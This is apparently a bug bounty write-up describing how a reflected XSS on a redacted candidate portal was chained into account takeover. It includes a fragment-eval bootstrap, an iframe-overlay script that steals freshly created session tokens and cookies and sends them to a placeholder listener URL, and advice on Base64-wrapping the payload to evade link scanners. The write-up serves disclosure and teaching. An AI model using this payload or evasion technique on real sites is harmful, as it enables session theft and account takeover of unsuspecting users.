< cd ../blog
15 min read Nov 23, 2026

How Chaining Turned My Not Applicable Into an Account Takeover

A few weeks ago I was testing a candidate portal on a bug bounty program I'll call the target REDACTED.com since it's still under a strict disclosure policy. This is the story of how a report that got marked Not Applicable turned into a full one click account takeover

How Chaining Turned My Not Applicable Into an Account Takeover

A few weeks ago I was testing a candidate portal on a bug bounty program I'll call the target REDACTED.com since it's still under a strict disclosure policy. This is the story of how a report that got marked Not Applicable turned into a full one click account takeover and what I learned along the way about session storage same origin policy and how not to deliver an exploit.

Finding the bug

I was poking around an old legacy endpoint on the site:

https://REDACTED.com/path/legacy-endpoint?action=RENDER_PAGE&template=QUERY_PAGE<a&themeParam=PAYLOAD_HERE

This looked like an old half forgotten piece of the stack and sure enough a parameter here was being reflected straight into an inline <script> tag with zero sanitization:

var themeParam = "YOUR_INPUT_HERE";

Classic. Close the string inject a semicolon write your own JS. Reflected XSS confirmed. Now the fun part: figuring out what to actually do with it.

What the app was protecting

While poking around the candidate profile page I noticed the app relied on a couple of browser side values to authorize sensitive actions like changing the email address on an account. One lived in client side storage and needed to be decrypted in the browser before it could be used and the other was a cookie that identified the candidate account itself.

Put those two together replay them against the right endpoints and you could change the account's email address. That's basically account takeover. So I wrote a PoC: sign in open the XSS URL in the same tab grab the stored values decrypt what needed decrypting grab the cookie fire off the email change. It worked beautifully on my own test account. I recorded a video wrote up a detailed report and submitted it feeling pretty good about myself.

The rejection

A couple weeks later: Not Applicable. The triager's reasoning was fair and it stung a little because they were right:

The proof of concept requires the operator to be already signed in and to manually run the script in that same browser tab. Nothing shows how an attacker would get this to execute in a victim's session.

I had proven that a signed in user could read their own browser storage. Cool but that's not an attack. That's just JavaScript doing what JavaScript does. There was no actual delivery no way for an attacker to make this happen to someone else. I sat with that for a bit and started digging into why.

Why delivery was actually hard

Here's the thing I hadn't fully internalized: this kind of client side storage isn't scoped to a domain it's scoped to a browsing context meaning a specific tab. Every new tab gets a blank slate. So I started testing combinations:

  • Open the payload URL in a new tab: storage is empty nothing to grab. Makes sense new tab new context.
  • Open it in the same tab navigating away from the profile page: the values are still there. Navigation within a tab doesn't wipe it.

That second point seemed promising at first okay so I just need a normal link no target="_blank" and it'll navigate the current tab. But then reality hit: I don't control which tab the victim has open. An attacker sending a link via email or chat has zero ability to force that link to open inside some other already open tab that happens to have the victim's session loaded. Tabs don't work that way across origins. There's no API for please navigate that other tab over there. So the honest conclusion was the original PoC was functionally self XSS with extra steps. I needed a completely different angle.

The idea: don't steal an existing session capture a new one

If I couldn't piggyback on a session the victim already had open what if the XSS created the opportunity for a session to exist right there under my control? Here's where same origin policy actually became my friend instead of my obstacle. The plan:

  • XSS fires.
  • Instead of trying to read an existing session the script blows away the entire page content and replaces it with a full screen <iframe> pointed at the real legitimate sign in page same domain same URL bar.
  • The victim sees what looks like a totally normal sign in page because it is the real one just embedded. They log in with their real credentials like they would any other day.
  • The moment login succeeds fresh session values get written into the iframe's storage and because the injected script is running on the same origin as that iframe it can read them. No cross origin restrictions apply because there's no cross origin boundary here at all.

A mechanical roadblock: HTML encoding

I tried injecting the iframe directly through the same parameter I'd used for the first payload:

document.body.outerHTML = '<iframe src="...sign-in"></iframe>';

It didn't render. Inspecting the output my tag had been silently turned into:

&lt;iframe src="...sign-in"&gt;&lt;/iframe&gt;

Something downstream was HTML encoding raw angle brackets before they reached the DOM parser so my tag was sitting there as inert text instead of being parsed as an actual element. Even though my earlier injection had broken out of a JS string that string still lived inside an HTML document and the angle brackets weren't surviving the trip.

The fix was to stop writing the <iframe> tag as literal text in the URL at all and instead build it at runtime inside JavaScript where there's no HTML parser involved just string concatenation and DOM APIs. JavaScript strings don't care about angle brackets only the HTML parser does. So the injected script constructs the tag as a plain string value and assigns it directly through the DOM meaning the < and > characters never needed to pass through whatever was doing the encoding.

There was a second wrinkle: the original injection point was a tight awkward place to squeeze a large chunk of iframe building and polling logic into. Limited room limited characters. So I split the payload in two:

// bootstrap living in the vulnerable parameter itself
eval(decodeURIComponent(location.hash.slice(1)))

A tiny bootstrap that just evaluates whatever's sitting in the URL fragment and the real logic building the iframe polling for the new session values decrypting exfiltrating living in the fragment instead. Fragments never get sent to the server so there was no filtering or encoding to fight there and effectively unlimited room to write the actual exploit logic as plain JavaScript.

So the final shape was a tiny trigger in the query string saying go run whatever's in the fragment and the real iframe overlay and token stealing logic sitting safely in the fragment built purely in JS never touching the HTML encoder at all. At a high level the fragment logic did the following (exact identifiers omitted):

setTimeout(function() {
  // 1. nuke the page overlay the real sign in page in a full screen iframe
  document.body.outerHTML = '<iframe id="xf" src="SIGN_IN_URL" style="fixed-fullscreen-overlay"></iframe>';

  // 2. poll the iframe's storage waiting for login to populate the session
  var iv = setInterval(function() {
    try {
      var frame = document.getElementById('xf');
      var store = frame.contentWindow.sessionStorage;
      var token = store.getItem('SESSION_TOKEN');
      var tokenMeta = store.getItem('SESSION_TOKEN_META');

      if (token || tokenMeta) {
        clearInterval(iv);

        // 3. decrypt the token client side same routine the app itself uses
        (async () => {
          var key = /* derived from tokenMeta */;
          var decrypted = await crypto.subtle.decrypt(/* AES-GCM params */, key, token);
          var accessCode = JSON.parse(decrypted).accessCode;

          // 4. exfiltrate
          fetch('LISTENER_URL/secret?access_code=' + accessCode);
        })();

        fetch('LISTENER_URL/secret?candidate_id=' + document.cookie.match(/IDENTIFYING_COOKIE=([^;]+)/)[1]);
      }
    } catch (e) {}
  }, 3000);
}, 1000);

Wrapping the payload for delivery: Base64

One more problem remained before this was actually link shareable. The raw payload was a long obviously malicious looking blob of URL encoded JavaScript sitting right in the query string. Anyone even slightly cautious or any link scanner or email security gateway would take one look at that URL and immediately recognize it as something hostile. So the last step was wrapping the payload itself in Base64 before placing it into the vulnerable parameter. Instead of the raw JS sitting there in cleartext the parameter held an encoded blob and a tiny bit of bootstrap JavaScript on the page side decoded it back and ran it:

eval(atob(decodeURIComponent(location.hash.slice(1))))

From the outside the URL just looks like a parameter carrying some opaque token not obviously executable code. It doesn't change the vulnerability or the exploit logic at all it only changes how suspicious the link looks to a victim glancing at it or to automated scanning that's pattern matching for raw script like content in URLs.

Why this isn't just phishing

This was the part I had to think hardest about because at first glance it looks like plain old credential phishing fake login page steal the password. But it isn't and the distinction matters a lot.

If an attacker built a page on their own domain and iframed the real sign in page into it the Same Origin Policy would completely block reading anything inside that iframe once the victim logs in. Different origin no access. Full stop. That's the browser doing exactly what it's supposed to do.

The reason this version works is that the malicious script isn't running on the attacker's origin it's running inside the real site itself because of the XSS. The browser treats it as trusted same origin code. That's the whole trick. The XSS is what dissolves the boundary that would otherwise make this attack impossible. Without the XSS the absolute most an attacker could get is a stolen password via a convincing fake page. With it they get the live session itself the moment it's created. That's a materially different and worse outcome bypassing any additional verification flows that a stolen password alone wouldn't get past.

Impact

  • A reflected XSS on a legacy endpoint initially dismissed as non exploitable due to lack of delivery mechanism.
  • Client side session storage holding encrypted credentials and an account identifying cookie accessible to same origin scripts.
  • A same origin iframe overlay trick that captures a fresh victim session at login time bypassing the tab scoping limitation of the initial PoC.
  • Combined: a realistic one click account takeover requiring no pre existing victim session and no visible signs of tampering.

Takeaways for development teams

  • Sanitize reflected values for their actual context. Breaking out of a JS string and breaking out of HTML encoding are two separate problems and solving one doesn't solve the other.
  • Treat session storage as sensitive as cookies. A same origin XSS reads it just as easily.
  • Client side decryption of session tokens doesn't add meaningful protection if the decryption key and the ciphertext are both accessible to injected scripts on the same origin.
  • Legacy endpoints carry the same risk as any other endpoint. Half forgotten is not the same as harmless.
  • A PoC that requires manual steps in the reporter's own session isn't the ceiling of exploitability. It's just where the researcher stopped. Triaging strictly on the submitted PoC misses what a motivated attacker would find next.
< back to blog